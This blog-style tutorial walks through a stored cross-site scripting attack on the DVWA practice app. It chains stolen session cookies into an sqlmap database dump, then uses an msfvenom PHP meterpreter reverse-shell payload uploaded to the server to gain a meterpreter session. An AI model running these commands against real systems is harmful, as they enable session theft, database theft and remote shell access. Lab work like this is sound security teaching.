This article is written to bring awareness among all
security researchers and developers so that they may be able to learn the level
of damage cause by XSS attack if the web server is suffering from cross site
scripting vulnerability.
Cross-Site Scripting (XSS) attacks are a type of
injection, in which malicious scripts are injected into trusted web sites. XSS
attacks occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user. The
end user’s browser has no way to know that the script should not be trusted,
and will execute the script. Because it thinks the script came from a trusted
source, the malicious script can access any cookies, session tokens, or other
sensitive information retained by the browser and used with that site.
Stored XSS generally occurs when user input
is stored on the target server, such as in a database, in a message forum,
visitor log, comment field, etc. And then a victim is able to retrieve the
stored data from the web application without that data being made safe to
render in the browser. With the advent of HTML5, and other browser
technologies, we can envision the attack payload being permanently stored in
the victim’s browser, such as an HTML5 database, and never being sent to the
server at all.
Refernce: owasp.org
Lets start!!!
Attacker: Kali Linux
Target: DVWA
For this tutorial I had targeted DVWA and explore
localhost IP in browser; now login with admin: password and select the stored
cross site scripting vulnerbility from given list of vulnerbility.
Now have a look over a small script which would generate an
alert window. So in the text area given for message I will inject the script
which get store in the server.
Now
when user will visit this page to read our message his browser will execute our
script which generates an alert prompt as showing following screenshot.
This
was a small demo to show how to inject any script if server is suffering from
XSS and further you will learn what else an attacker can do to cause damage inside
a web application server.
If
attack is aware that the web server is having XSS then he might think to steal
the web cookies which contain session Id therefore he will generate a script to
fetch running cookies.
In
following screenshot you can see I have injected the script to get web page
cookies.
Here
in given below image when I have executed the script I have successfully
fetched the browser cookies and now further I will use this cookies for
retrieving the data of web application server.
SQL INJECTION WITH XSS
It
might be possible that the web application server has more than one
vulnerabilities, let assume if it is also having SQL injection vulnerability
then it become very easy for attacker to retrieve the data from its database
using stolen cookies.
For example in DVWA I switch from XSS to SQL injection;
now copy its URL with user ID=1.
From
above we have browser cookie and target URL for making SQL injection attack.
Now open the terminal in your kali Linux and use above cookie and URL inside
the command of sqlmap as shown in screenshot
Sqlmap – u “http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit” –cookie=“security=low;
PHPSESSID=r12pk67cuq3s7eo4iktb88sud2” –dbs --batch
Hence you can see it has fetched all present database names
inside database system.
Gaining Shell Access with XSS
Now
let assume if server is suffering from XSS
as well as file uploading both
vulnerabilities; in this case how an attacker would be able to cause harm to
the web application server.
Firstly
let’s prepare our malicious PHP file for uploading in web server. As we always
use msfvenom for this purpose and then save the generated PHP codes in a text
file as shell.php
Msfvenom –p
php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw
Again
I switched to file uploading vulnerability in DVWA to upload shell.php and from screenshot you can see our shell.php file
is successfully uploaded now copy the
highlighted path.
Start multi
handler inside the metasploit framework.
Here
the text area given for message length is not sufficient to inject our next
script therefore make right click on window and select inspect element to view it’s given message length for text
area.
Here you can see message
length for text area is decided as “50”.
Change message
length from “50 to 500” so that it becomes
easy to inject our next script.
Now in
following screenshot you can see I have injected the path of uploaded file in
script which will get saved in the server. When user click on it to read the
message he will execute our shell.php file which provide reverse connection on
attacker machine.
Here you can see as soon as script will execute it has
shown meterpreter session for victim’s PC.
Meterpreter>sysinfo
0 comments:
Post a Comment